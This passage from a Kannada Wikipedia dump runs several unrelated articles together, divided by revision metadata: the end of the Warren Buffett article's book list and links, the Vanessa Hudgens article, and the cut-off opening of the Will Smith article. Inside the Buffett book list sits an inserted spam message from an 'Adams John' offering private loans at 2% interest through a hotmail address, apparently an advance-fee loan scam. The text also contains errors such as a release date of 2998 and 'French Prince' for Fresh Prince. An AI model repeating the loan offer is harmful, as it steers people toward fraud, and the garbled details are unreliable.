ಬಗೆಗಿನ ಗಮನಾರ್ಹ ಪುಸ್ತಕಗಳೆಂದರೆ‌: * ರೋಜರ್‌ ಲೋವೆನ್‌ಸ್ಟೇನ್‌, ''[[ಬಫೆಟ್‌‌, ಮೇಕಿಂಗ್‌ ಆಫ್‌ ಆನ್‌ ಅಮೇರಿಕನ್‌ ಕ್ಯಾಪಿಟಲಿಸ್ಟ್‌]]'' * ರಾಬರ್ಟ್ ಹಾಗ್‌ಸ್ಟಾರ್ಮ್‌, ''[[ದ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ವೇ]]'' .<ref>{{Cite book | author=Hagstrom, Robert G.; Miller, Bill R.; Fisher, Ken | authorlink= | coauthors= | title=The Warren Buffett Way | date=2005 | publisher=John Wiley | location=Hoboken, N.J. | isbn=0-471-74367-4 | pages=}}</ref> (2008ರ ಹಾಗೆ, ಬಫೆಟ್‌‌ರ ಬಗೆಗಿನ ಹೆಚ್ಚು ಮಾರಾಟ ಕಂಡ ಪುಸ್ತಕ.)<ref name="name game"/> * [[ಅಲೈಸ್‌ ಷ್ರೋಡರ್‌‌]] , ''[[The Snowball: Warren Buffett and the Business of Life]]'' .<ref>{{Cite book | last=Schroeder | first=Alice | authorlink=Alice Schroeder | coauthors= | title=The Snowball: Warren Buffett and the Business of Life | date= | publisher=Bantam Dell Pub Group 2008. | location= | isbn=978-0-553-80509-3 | pages=}}</ref> (ಬಫೆಟ್‌‌ರ ಸಹಕಾರದೊಂದಿಗೆ ಬರೆದದ್ದು.)<ref>[[ಜಾನೆಟ್‌ ಮಸ್ಲಿನ್‌]], [https://www.nytimes.com/2008/09/29/books/29masl.html?_r=1 "ಬುಕ್ಸ್‌ ಆಫ್‌ ದ ಟೈಮ್ಸ್‌: ದ ರಿಚೆಸ್ಟ್‌ ಮ್ಯಾನ್‌ ಅಂಡ್‌ ಹೌ ಹೀ ಗ್ರ್ಯೂ (ಅಂಡ್‌ ಗ್ರ್ಯೂ ಹಿಸ್‌ ಕಂಪೆನಿ ಟೂ),"] ''[[ನ್ಯೂಯಾರ್ಕ್‌ ಟೈಮ್ಸ್‌]]'' , ಸೆಪ್ಟೆಂಬರ್‌ 28, 2008.</ref> * [[ಮೇರಿ ಬಫೆಟ್‌‌‌]] ಹಾಗೂ ಡೇಚಿಡ್‌ ಕ್ಲಾರ್ಕ್‌ , ''ಬಫೆಟಾಲಜಿ'' <ref>{{Cite book | author=Buffett, Mary | authorlink=Mary Buffett | coauthors=Clark, David| title=Buffettology: The Previously Unexplained Techniques That Have Made Warren Buffett The World's Most Famous Investor | date= | publisher=Scribner | location= | isbn=978-0-684-84821-1 | pages=}}</ref> ಹಾಗೂ ನಾಲ್ಕು ತರುವಾಯದ ಪುಸ್ತಕಗಳು. (1.5 ದಶಲಕ್ಷ ಪ್ರತಿಗಳು ಒಟ್ಟಾರೆಯಾಗಿ ಮಾರಾಟ ಕಂಡವು.)<ref name="name game"/> * [[ಜಾನೆಟ್‌ ಲೋವೆ]], ''ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ಸ್ಪೀಕ್ಸ್‌: ವಿಟ್‌ ಅಂಡ್‌ ವಿಸ್‌ಡಂ ಫ್ರಂ ದ ವರ್ಲ್ಡ್ಸ್‌‌ ಗ್ರೇಟೆಸ್ಟ್‌ ಇನ್‌ವೆಸ್ಟರ್‌'' .<ref>{{Cite book | last=Lowe | first=Janet | authorlink=Janet Lowe | coauthors= | title=Warren Buffett Speaks: Wit and Wisdom from the World's Greatest Investor | date= | publisher=Wiley | location= | isbn=978-0-470-15262-1 | pages=}}</ref> * [[ಜಾನ್‌ ಟ್ರೈನ್‌]], ''ದ ಮಿಡಾಸ್‌ ಟಚ್‌‌: ದ ಸ್ಟ್ರಾಟಜೀಸ್‌ ದಟ್‌ ಹ್ಯಾವ್‌ ಮೇಡ್‌ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ 'ಅಮೇರಿಕಾಸ್‌ ಪ್ರಿಎಮಿನೆಂಟ್‌ ಇನ್‌ವೆಸ್ಟರ್‌'.'' <ref>{{Cite book | last=Train | first=John | authorlink=John Train | coauthors= | title=The midas touch: the strategies that have made Warren Buffett America's pre-eminent investor | date=1987 | publisher=Harper & Row | location=New York | isbn=978-0-06-015643-5 | pages=}}</ref> * ಆಂಡ್ರ್ಯೂ ಕಿಲ್ಪಾಟ್ರಿಕ್‌, ''ಆಫ್‌ ಪರ್ಮನೆಂಟ್‌ ವ್ಯಾಲ್ಯೂ: ದ ಸ್ಟೋರಿ ಆಫ್‌ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌'' .<ref>{{Cite book | last=Kilpatrick | first=Andrew | authorlink= | coauthors= | title=Of Permanent Value: The Story of Warren Buffett/2008 Cosmic Edition/2 volumes | date= | publisher=Andy Kilpatrick Publishing Empire (AKPE) | location= | isbn=978-1-57864-455-1 | pages=}}</ref> (330 ಅಧ್ಯಾಯಗಳು, 1,874 ಪುಟಗಳು ಹಾಗೂ 1,400 ಚಿತ್ರಗಳು, 10.2 ಪೌಂಡ್‌ಗಳ ತೂಕದೊಂದಿಗೆ ಬಫೆಟ್‌ರ ಬಗೆಗಿನ ದೀರ್ಘವಾದ ಪುಸ್ತಕ.)<ref name="name game"/> * ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌, [[ಲಾರೆನ್ಸ್‌ ಕನ್ನಿಂಗ್‌ಹ್ಯಾಂ]] (ಸಂಪಾದಕ), ''ದ ಎಸ್ಸೇಸ್‌ ಆಫ್‌ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌'' .<ref>{{Cite book | last=Buffett | first=Warren | authorlink= | editor= Lawrence Cunningham| title=The Essays of Warren Buffett | date=April 11, 2001 | publisher=The Cunningham Group | location= | isbn=978-0966446111 | pages=256}}</ref> (ವಿಷಯವಸ್ತುವಿನ ಮೇಲೆ ಮರುಜೋಡಣೆಯಾಗಿರುವ ಅಧ್ಯಕ್ಷರ ಪತ್ರಗಳು.) * ಜಾನೆಟ್‌ M. ತವಕೊಲಿ, ''ಡಿಯರ್‌ Mr. ಬಫೆಟ್‌‌: ವಾಟ್‌ ಆನ್‌ ಇನ್‌ವೆಸ್ಟರ್‌ ಲರ್ನ್ಸ್‌ 1,269 ಮೈಲ್ಸ್‌ ಫ್ರಂ ವಾಲ್‌ ಸ್ಟ್ರೀಟ್‌‌'' <ref>{{Cite book | last=Tavakoli | first=Janet | authorlink=http://www.tavakolistructuredfinance.com/biography.html | title=Dear Mr. Buffett: What An Investor Learns 1,269 Miles From Wall Street | date=January 9, 2009| publisher=Wiley | location= | isbn=978-0470406786 | pages=304}}</ref> ಹಲೋ, ನಾನು ಆಡಮ್ಸ್ ಜಾನ್, ಖಾಸಗಿ ಸಾಲ ಸಾಲ ನಾನು ಸಾಲದ ಅಗತ್ಯ ಎಂದು ಆ ಸಾಲ ನೀಡಲು, ಮತ್ತು ಬಯಸುವ ಆ ನಾನು ವೈಯಕ್ತಿಕ ಸಾಲಗಳು, ಉದ್ಯಮ ಸಾಲ, ವಿದ್ಯಾರ್ಥಿಗಳ ಸಾಲ, ಕಂಪನಿ ಸಾಲ ಮತ್ತು ಎಲ್ಲಾ ರೀತಿಯ ನೀಡಲು ಹೊಸ ವ್ಯಾಪಾರ ಪ್ರಾರಂಭಿಸಲು adamsjohnloanfirm@hotmail.com: ಸಾಲ, ಆಸಕ್ತಿ ದರ 2% ಸಂಪರ್ಕ ಇಂದು ನಲ್ಲಿ == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{wikiquote}} {{commonscat}} * [http://www.berkshirehathaway.com/ ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇಯ ಅಧಿಕೃತ ಜಾಲತಾಣ] * [http://www.warren-buffett-portfolio.com/ ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇನ ಹಣಕಾಸು ಪತ್ರದ ಇತ್ತೀಚಿನ ಬಂಡವಾಳಪತ್ರಗಳು] * [http://spreadsheets.google.com/pub?key=pq95Pd39mNBhgFVrCIYnEXA ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇನ ಹಣಕಾಸು ಪತ್ರದ ಇತ್ತೀಚಿನ ಬಂಡವಾಳಪತ್ರಗಳು] {{Webarchive|url=https://web.archive.org/web/20121022073908/https://spreadsheets.google.com/pub?key=pq95Pd39mNBhgFVrCIYnEXA |date=2012-10-22 }} (Google ಫೈನಾನ್ಸ್‌ನ ಬೆಲೆಗಳೊಂದಿಗೆ) * [http://www.buffettbuys.com/ ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇನ ಹಣಕಾಸು ಪತ್ರದ ಇತ್ತೀಚಿನ ಬಂಡವಾಳಪತ್ರಗಳು, ತತ್ಕಾಲೀನ] {{start box}} {{s-hon}} {{succession box| before=[[Ingvar Kamprad]]| title=[[List of billionaires|World's Richest Person]]| years=?—1995| after=[[Bill Gates]]| }} {{succession box| before=[[Bill Gates]]| title=[[List of billionaires|World's Richest Person]]| years=2008–2009| after=[[Bill Gates]]| }} {{end box}} {{WPO-PNS}} {{Berkshire Hathaway}} {{Persondata |NAME=Buffett, Warren Edward |ALTERNATIVE NAMES=Sage of Omaha; Oracle of Omaha |SHORT DESCRIPTION=Businessman; Billionaire |DATE OF BIRTH=August 30, 1930 |PLACE OF BIRTH=Omaha, Nebraska |DATE OF DEATH= |PLACE OF DEATH= }} {{DEFAULTSORT:Buffett, Warren}} [[ವರ್ಗ:ಉದ್ಯಮಿಗಳು]] [[ವರ್ಗ:೧೯೩೦ ಜನನ]] [[ವರ್ಗ:ಅಮೇರಿಕದ ನಿರೀಶ್ವರವಾದಿಗಳು]] [[ವರ್ಗ:ಅಮೇರಿಕದ ಶತಕೋಟ್ಯಾಧಿಪತಿಗಳು]] [[ವರ್ಗ:ಅಮೇರಿಕದ ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿಗಳು]] [[ವರ್ಗ:ಅಮೇರಿಕದ ವಿತ್ತ ಪರಿಣತರು]] [[ವರ್ಗ:ಅಮೇರಿಕದ ಹೂಡಿಕೆದಾರರು]] [[ವರ್ಗ:ಅಮೇರಿಕದ ವಿತ್ತ ನಿರ್ವಾಹಕರು]] [[ವರ್ಗ:ಅಮೇರಿಕದ ಮನುಕುಲಹಿತೈಷಿಗಳು]] [[ವರ್ಗ:ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ]] [[ವರ್ಗ:ಬಿಲ್‌ & ಮೆಲಿಂಡಾ ಗೇಟ್ಸ್‌ ಪ್ರತಿಷ್ಠಾನ‌ದ ಜನರು]] [[ವರ್ಗ:ನೆಬ್ರಾಸ್ಕಾದ ಒಮಾಹಾ ಮೂಲದ ವ್ಯವಹಾರಸ್ಥರು]] [[ವರ್ಗ:ವಿಮಾ ಉದ್ಯಮದ ವ್ಯವಹಾರಸ್ಥರು]] [[ವರ್ಗ:ಕೊಲಂಬಿಯಾ ಉದ್ಯಮಶಾಲೆಯ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಸಂಘ]] [[ವರ್ಗ:ಷೇರು ಬಂಡವಾಳ ಪತ್ರಗಳು]] [[ವರ್ಗ:ಗ್ರಿನ್ನೆಲ್‌ ಮಹಾವಿದ್ಯಾಲಯದ ಜನರು]] [[ವರ್ಗ:ಜೀವಿತ ಜನರು]] [[ವರ್ಗ:ನೆಬ್ರಾಸ್ಕಾದಲ್ಲಿನ ಡೆಮೋಕ್ರಾಟ್‌ ಪಕ್ಷದ ಸದಸ್ಯರು]] [[ವರ್ಗ:ಷೇರು ವ್ಯಾಪಾರಿಗಳು]] [[ವರ್ಗ:ವಾರ್ಟನ್‌ ವಿದ್ಯಾಲಯದ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಸಂಘ]] [[ವರ್ಗ:ನೆಬ್ರಾಸ್ಕಾ ವಿಶ್ವವಿದ್ಯಾಲಯದ- ಲಿಂಕನ್‌ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಸಂಘ]] 3g6q33ev4sjle5g2yad62ek0jsudidc ವನೆಸ್ಸಾ ಹಡ್ಜೆನ್ಸ್ 0 22585 1116447 1065190 2022-08-23T12:47:07Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox musical artist | Name = Vanessa Hudgens | Img = Vanessa Hudgens - 2019 by Glenn Francis.jpg | Img_capt = Hudgens in Hollywood California - July 2019 | Background = solo_singer | Birth_name = Vanessa Anne Hudgens | Alias = <!--Baby V is not an alias, please see Template:Infobox Musical artist#Alias--> | Born = {{birth date and age|mf=yes|1988|12|14}} | Origin = [[Salinas, California]], United States | Instrument = Vocals | Genre = [[Pop music|Pop]], [[Dance music|dance]],<ref>{{citeweb|url=http://www.allmusic.com/cg/amg.dll|title=((( Vanessa Hudgens > )))|publisher=www.allmusic.com|accessdate=2009-03-10|archive-date=2002-11-19|archive-url=https://web.archive.org/web/20021119052725/http://www.allmusic.com/cg/AMG.dll|url-status=dead}}</ref> [[Soul music|soul]] | Occupation = [[Actress]], [[singer]], [[dancer]] | Years_active = 2002 – present | Label = [[Hollywood Records]]<small> (2006-2009)<small> | Associated_acts = [[ಕಾರ್ಬಿನ್ ಬ್ಲ್ಯೂ]], [[ಐಶ್ಲೇ ಟಿಸ್ ಡೇಲ್]] | URL = [http://vanessahudgens.com/ www.vanessahudgens.com] <!--linked from http://www.fhm.com/girls/covergirls/vanessa-hudgens and from ''[[Identified]]'' disc features--> }} '''ವನೆಸ್ಸಾ ಅನೆ ಹದ್ಜೆನ್ಸ್''' <ref name="yahoo">"[https://movies.yahoo.com/movie/contributor/1808436979/bio ವನೆಸ್ಸಾ ಹಡ್ಜೆನ್ಸ್ ಬಯಾಗ್ರಫಿ] {{Webarchive|url=https://web.archive.org/web/20160308043101/https://movies.yahoo.com/movie/contributor/1808436979/bio/ |date=2016-03-08 }}" ಯಾಹೂ!ನಿಂದ ಸಂಪರ್ಕಿತ.''06.12.09''</ref> (ಜನನ ಡಿಸೆಂಬರ್ 14, 1988)<ref name="inquirer">{{cite web |url=http://showbizandstyle.inquirer.net/entertainment/entertainment/view_article.php?article_id=81617 |title=Vanessa Hudgens: 'I love being a Filipina '|accessdate=2007-09-18|author=Ruben V. Nepales|date=August 9, 2007|publisher=[[Philippine Daily Inquirer]]}}</ref> ಒಬ್ಬ ಮೆರಿಕನ್ ನಟಿ ಮತ್ತು ಹಾಡುಗಾರ್ತಿ. ಸ್ಥಳೀಯ ನಾಟಕ ಕಂಪನಿಗಳಲ್ಲಿ ಕಾರ್ಯವೆಸಗಿ ಟೆಲಿವಿಷನ್ ನಲ್ಲಿ ಜಾಹಿರಾತುಗಳಲ್ಲಿ ತನ್ನ ಬಾಲ್ಯದಲ್ಲೇ ಕಾಣಿಸಿಕೊಂಡ ಹಡ್ಜೆನ್ಸ್ 2003ರಲ್ಲಿ ''[[ಥರ್ಟೀನ್]]'' ಎಂಬ [[ನಾಟಕಾಧಾರಿತ ಚಲನಚಿತ್ರ|ನಾಟಕಾಧಾರಿತ ಚಲನಚಿತ್ರದಲ್ಲಿ]]ದಲ್ಲಿ ನೊಯೆಲ್ ನ ಪಾತ್ರದ ಮೂಲಕ ಚಿತ್ರರಂಗಕ್ಕೆ ಪಾದಾರ್ವಪಣೆ ಮಾಡಿದಳು. ನಂತರ 2004ರಲ್ಲಿ ''[[ಥಂಡರ್ ಬರ್ಡ್ಸ್]] '' ಎಂಬ [[ವೈಜ್ಞಾನಿಕ-ಕಥೆ]]ಯಾಧಾರಿತ-[[ಸಾಹಸಮಯ ಚಿತ್ರ|ಸಾಹಸಮಯ ಚಿತ್ರದಲ್ಲಿ]]ದಲ್ಲಿ ಅಭಿನಯಿಸಿದಳು. ಹದ್ಜೆನ್ಸ್ ಳ ಬಹಳ ಪ್ರಮುಖ ಪಾತ್ರವೆಂದರೆ [[ಹೈ ಸ್ಕೂಲ್ ಮ್ಯೂಸಿಕಲ್]] ಎಂಬ ಸರಣಿರೂಪದಲ್ಲಿ ಬಂದ ಚಿತ್ರದಲ್ಲಿ ಅಭಿನಯಿಸಿದ [[ಗೇಬ್ರಿಯೆಲಾ ಮಾಂಟೆಜ್|ಗೇಬ್ರಿಯೆಲಾ ಮಾಂಟೆಜ್‌ಳ]] ಪಾತ್ರ.<ref>"[http://allmusic.com/cg/amg.dll?p=amg&amp;sql=11:0vfexqlsldde ವನೆಸ್ಸಾ ಹಡ್ಜೆನ್ಸ್ ಬಯಾಗ್ರಫಿ] {{Webarchive|url=https://web.archive.org/web/20101003032225/http://www.allmusic.com/cg/amg.dll?p=amg |date=2010-10-03 }}" ಆಲ್ ಮ್ಯೂಸಿಕ್</ref> [[2009]]ರ ೧೪ನೇ ಆಗಸ್ಟ್ 2009ರಂದು ಬಿಡುಗಡೆಯಾದ ''[[ಬ್ಯಾಂಡ್ ಸ್ಲ್ಯಾಮ್]] '' ಚಿತ್ರದಲ್ಲಿನ ಅಭಿನಯಕ್ಕೆ ವಿಮರ್ಶಾತ್ಮಕ ಪ್ರಶಂಸೆ ಗಳಿಸಿದಳು.<ref name="hollywood-reporter-will">{{cite web | url=http://www.hollywoodreporter.com/hr/content_display/news/e3i4707d81dca25b84728d90e674475f1b0 | title='Musical' star fills 'Will' bill | author=Borys Kit ([[The Hollywood Reporter]]) | date=January 11, 2008 | accessdate=2008-01-11 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಹಡ್ಜೆನ್ಸ್ ಳ ಮೊದಲ ಆಲ್ಬಮ್ ''[[V]]'' ೨೬ನೇ ಸೆಪ್ಟೆಂಬರ್ ೨೦೦೬ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು. ಈ ಆಲ್ಬಮ್ [[ಬಿಲ್ ಬೋರ್ಡ್ ೨೦೦|''ಬಿಲ್ ಬೋರ್ಡ್'' ೨೦೦ರ]] ಪಟ್ಟಿಯಲ್ಲಿ 24ನೆಯ ಸ್ಥಾನದಲ್ಲಿದ್ದು ನಂತರ '[[ಸರ್ಟಿಫೈಡ್ ಗೋಲ್ಡ್]]' ಮಟ್ಟಕ್ಕೆ ಬಂದು ನಿಂತಿತು.<ref name="Billboard.com">{{cite news |first=Katie |last=Hasty |authorlink= |author= |coauthors= |title=Ludacris Scores Third No. 1 With 'Release Therapy' |url=http://www.billboard.com/bbcom/search/google/article_display.jsp?vnu_content_id=1003219507 |work=[[Billboard]] |publisher=[[Nielsen Company|Nielsen Business Media, Inc.]] |date=October 4, 2006 |accessdate=2008-07-24 |archiveurl=https://archive.is/20120629134146/http://www.billboard.com/bbcom/search/google/article_display.jsp?vnu_content_id=1003219507%23/bbcom/search/google/article_display.jsp?vnu_content_id=1003219507 |archivedate=2012-06-29 |url-status=live }}</ref> ಜುಲೈ ೧, 2998ರಂದು ಹಡ್ಜೆನ್ಸ್ ತನ್ನ ಎರಡನೆಯ ಆಲ್ಬಮ್ ಆದ ''[[ಐಡೆಂಟಿಫೈಡ್]]'' ಅನ್ನು ಉನೈಟೆಕ್ ಸ್ಟೇಟ್ಸ್ ನಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಿದಳು. == ಮೊದಲ ದಿನಗಳು ಮತ್ತು ವೃತ್ತಿಜೀವನ == [[ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ ಸಲಿನಾಸ್]] ನಲ್ಲಿ ಹುಟ್ಟಿದ ಹಡ್ಜೆನ್ಸ್ ಪಶ್ಚಿಮ ಕರಾವಳಿಯ ಹಲವಾರು ಸ್ಥಳಗಳಲ್ಲಿ ಬೆಳೆದಳು - [[ಓರೆಗಾನ್|ಓರೆಗಾನ್‌ನಿಂದ]] [[ದಕ್ಷಿಣ ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ|ದಕ್ಷಿಣ ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದವರೆಗೂ]] ಒಂದರ ನಂತರ ಒಂದರಂತೆ ಹಲವಾರು ಕಚೇರಿಗಳಲ್ಲಿ ಕೆಲಸ ಮಾಡಿದ ತಾಯಿ ಗೀನಾ, ([[ಜನ್ಮನಾಮ]] ಗುವಾಂಗ್ಕೋ)ಮತ್ತು ಅಗ್ನಿಶಾಮಕದಳದ ಅಗ್ನಿಶಮನಕನಾದ ಗ್ರೆಗರಿ ಹಡ್ಜೆನ್ಸ್ ಮತ್ತು ತಂಗಿ ನಟಿ [[ಸ್ಟೆಲ್ಲಾ ಹಡ್ಜೆನ್ಸ್|ಸ್ಟೆಲ್ಲಾ ಹಡ್ಜೆನ್ಸ್‌ರೊಂದಿಗೆ]] ಇವಳ ಜೀವನ ಸಾಗಿತ್ತು. == ಉಲ್ಲೇಖಗಳು == {{refs}} [[ವರ್ಗ:ಹಾಲಿವುಡ್ ಚಲನಚಿತ್ರ ಕಲಾವಿದರು]] a502ncbs4onh9mlyvziei1gz688tff4 ವಿಲ್ ಸ್ಮಿತ್ 0 22666 1116470 1079497 2022-08-23T13:19:43Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox Actor |name = ವಿಲ್ ಸ್ಮಿತ್ |image = WillSmithSept09.jpg |caption = Smith in September 2009 |birthname = Willard Christopher Smith, Jr. |birthdate = {{birth date and age|mf=yes|1968|9|25}} |birthplace = [[Wynnefield, Philadelphia, Pennsylvania|Wynnefield]], [[West Philadelphia]], [[Pennsylvania]], U.S. |deathdate = |deathplace = |othername = The Fresh Prince |occupation = [[ನಟ]], [[rapping|rapper]], [[film producer]], [[record producer]], [[television producer]] |yearsactive = 1985–present |spouse = Sheree Zampino (1992–1995)<br />[[Jada Pinkett Smith]] (1997–present) |domesticpartner = |website = http://www.willsmith.com/ }} '''ವಿಲ್ಲರ್ಡ್ ಕ್ರಿಸ್ಟೋಫರ್ "ವಿಲ್" ಸ್ಮಿತ್, ಜೂ.''' (ಹುಟ್ಟಿದ್ದು ಸೆಪ್ಟೆಂಬರ್ 25,1968)<ref name="msn">{{cite web |url=http://music.msn.com/music/artist-biography/will-smith.4/ |title=Will Smith on MSN |author=Jason Ankeny |accessdate=2008-07-17 |year=2008 |publisher=[[MSN]] |archive-date=2012-01-11 |archive-url=https://web.archive.org/web/20120111175005/http://music.msn.com/music/artist-biography/will-smith.4/ |url-status=dead }}</ref> ಒಬ್ಬ ಅಮೇರಿಕದ ನಟ, [[ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕ]] ಮತ್ತು ಒಬ್ಬ [[ರಾಪ್ಪರ್]] . ಅವರು ಸಂಗೀತ,ಧಾರಾವಾಹಿ ಮತ್ತು ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಯಶಸ್ಸನ್ನು ಕಂಡಿದ್ದಾರೆ. 2007 ರ ಏಪ್ರಿಲ್‌ನಲ್ಲಿ, ''[[Newsweek]]'' ಅವರನ್ನು ಭೂಮಿ ಮೇಲಿನ ಅತ್ಯಂತ ಪ್ರಭಾವಶಾಲಿ ನಟನೆಂದು ಹೇಳಿತು.<ref>{{cite news|author=Sean Smith|title=The $4 Billion Man|publisher=[[Newsweek]]|date=2007-04-09|url=http://www.newsweek.com/id/35656/|accessdate=February 14, 2009|archive-date=2010-01-06|archive-url=https://web.archive.org/web/20100106162041/http://www.newsweek.com/id/35656|url-status=dead}}</ref> ಸ್ಮಿತ್ ಅವರನ್ನು ನಾಲ್ಕು ಬಾರಿ [[ಗೋಲ್ಡನ್ ಗ್ಲೋಬ್ ಅವಾರ್ಡ್‌]]ಗಳಿಗೆ, ಎರಡು ಬಾರಿ [[ಅಕಾಡೆಮಿ ಅವಾರ್ಡ್‌]]ಗಳಿಗೆ ನಾಮನಿರ್ದೇಶಿತಗೊಂಡಿದ್ದಾರೆ ಮತ್ತು ಅನೇಕ [[ಗ್ರಾಮಿ ಅವಾರ್ಡ್]]ಗಳನ್ನು ಗೆದ್ದಿದ್ದಾರೆ. ಎಂಬತ್ತರ ದಶಕದ ಕೊನೆಯಲ್ಲಿ, ಸ್ಮಿತ್ ಅವರು'''[[ದಿ ಫ್ರೆಂಚ್ ಪ್ರಿಂನ್ಸ್]]''' ಎಂಬ ಹೆಸರಿನಡಿಯಲ್ಲಿ ರಾಪ್ಪರ್‌ನಲ್ಲಿ ಪ್ರಸಿದ್ಧಿ ಪಡೆದರು. 1990 ರಲ್ಲಿ, ಅವರು ''[[ದಿ ಫ್ರೆಂಚ್ ಪ್ರಿಂನ್ಸ್ ಆಫ್ ಬೆಲ್-ಏರ್]]'' ಎಂಬ ಜನಪ್ರಿಯ ದೂರದರ್ಶನ ದಾರಾವಾಹಿಯಲ್ಲಿ ನಟಿಸಲು ಪ್ರಾರಂಭಿಸಿದಾಗ ಅವರ ಪ್ರಖ್ಯಾತಿ ಹೆಚ್ಚಾಯಿತು. ಆ ಧಾರಾವಾಹಿಯು ಸತತವಾಗಿ ಆರು ವರ್ಷಗಳಕಾಲ (1990 - 1996) [[NBC]]ಯಲ್ಲಿ ಪ್ರದರ್ಶನಗೊಂಡಿತು ಮತ್ತು ನಂತರ ಇತರೆ ಹಲವು ವಾಹಿನಿಗಳಲ್ಲಿ ನಿರಂತರವಾಗಿ ಪ್ರಸಾರಗೊಂಡಿತು. ತೊಂಬತ್ತರ ದಶಕದ ಮಧ್ಯದಲ್ಲಿ, ಸ್ಮಿತ್‌ ಅವರು ದೂರದರ್ಶನದ ಅಭಿನಯದಿಂದ ಚಲನಚಿತ್ರ ಅಭಿನಯಕ್ಕೆ ಕಾಲಿಟ್ಟರು ಮತ್ತು ಅಂತಿಮವಾಗಿ ಪ್ರಪಂಚದಾದ್ಯಂತ ದೊಡ್ಡಪ್ರಮಾಣದಲ್ಲಿ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಯಶಸ್ಸುಕಂಡ ಅನೇಕ [[ಬ್ಲಾಕ್‌ಬಸ್ಟರ್ ಚಲನಚಿತ್ರ]]ಗಳಲ್ಲಿ ನಟಿಸಿದರು. ಅನುಕ್ರಮವಾಗಿ ಎಂಟು ಚಲನಚಿತ್ರಗಳು ಸ್ವದೇಶದ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ $100 ಮಿಲಿಯನ್‌ಗಿಂತಲೂ ಹೆಚ್ಚು ಹಣ ಸಂಪಾದಿಸಿರುವ ಚಿತ್ರಗಳಲ್ಲಿ ನಟಿಸಿರುವ ಇತಿಹಾಸದ ಏಕೈಕ ನಟರಾಗಿದ್ದಾರೆ ಹಾಗೂ ಎಂಟು ಅನುಕ್ರಮ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಯಶಸ್ಸು ಕಂಡ ಏಕೈಕ ನಟನಾಗಿದ್ದು ತನ್ನ ದೇಶದ ಎಲ್ಲಾ ನಟರಲ್ಲಿ #1 ಸ್ಥಾನದ ತಾರೆಯಾಗಿದ್ದಾರೆ. ಇವರು ನಟಿಸಿದ ಹತ್ತೊಂಬತ್ತು ಕಾಲ್ಪನಿಕ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಹದಿನಾಲ್ಕು ಚಲನಚಿತ್ರಗಳು ಪ್ರಪಂಚದ್ಯಾದಂತ $100 ಮಿಲಿಯನ್‌‌ಗಿಂತಲೂ ಹೆಚ್ಚು ಹಣ ಸಂಪಾದಿಸಿದೆ, ಅದರಲ್ಲಿ ನಾಲ್ಕು ಚಿತ್ರಗಳು ಪ್ರಪಂಚದಾದ್ಯಂತ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ $500 ಮಿಲಿಯನ್‌‌ಗಿಂತಲೂ ಹೆಚ್ಚು ಹಣ ಸಂಪಾದಿಸಿದೆ. ಅವರ ಅತ್ಯಂತ ಆರ್ಥಿಕವಾಗಿ ಯಶಸ್ಸುಕಂಡ ಚಲನಚಿತ್ರಗಳೆಂದರೆ ''[[ಬ್ಯಾಡ್ ಬಾಯ್ಸ್]]'', ''[[ಬ್ಯಾಡ್ ಬಾಯ್ಸ್ II]]'' , ''[[ಇಂಡಿಪೆಂಡೆಂನ್ಸ್ ಡೇ]]'' , ''[[ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್]]'' , ''[[ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್ II]]'' , ''[[ಐ, ರೊಬೊಟ್]]'' , ''[[ದಿ ಪರ್ಸ್ಯೂಟ್ ಆಫ್ ಹ್ಯಾಪಿನೆಸ್]]'' , ''[[ಐ ಆಮ್ ಲೆಜೆಂಡ್]]'' , ''[[ಹ್ಯಾನ್ಕಾಕ್]]'' , ''[[ವೈಲ್ಡ್ ವೈಲ್ಡ್ ವೆಸ್ಟ್]]'' , ''[[ಎನಿಮಿ ಆಫ್ ದ ಸ್ಟೇಟ್]]'' , ''[[ಶಾರ್ಕ್ ಟೇಲ್]]'' , ''[[ಹಿಚ್]]'' ಮತ್ತು ''[[ಸೆವೆನ್ ಪೌಂಡ್ಸ್]]'' . ''[[ಅಲಿ]]'' ಮತ್ತು ''[[ಸಿಕ್ಸ್ ಡಿಗ್ರೀಸ್ ಆಫ್ ಸೆಪರೇಶನ್]]''ನಲ್ಲಿ ಅವರ ಅಭಿನಯಕ್ಕಾಗಿ ವಿಮರ್ಶಾತ್ಮಕವಾಗಿ ಶ್ಲಾಘಿಸಲಾಯಿತು. == ಕುಟುಂಬ ಮತ್ತು ಜೀವನಾರಂಭ == ಸ್ಮಿತ್ ಹುಟ್ಟಿದ್ದು ಮತ್ತು 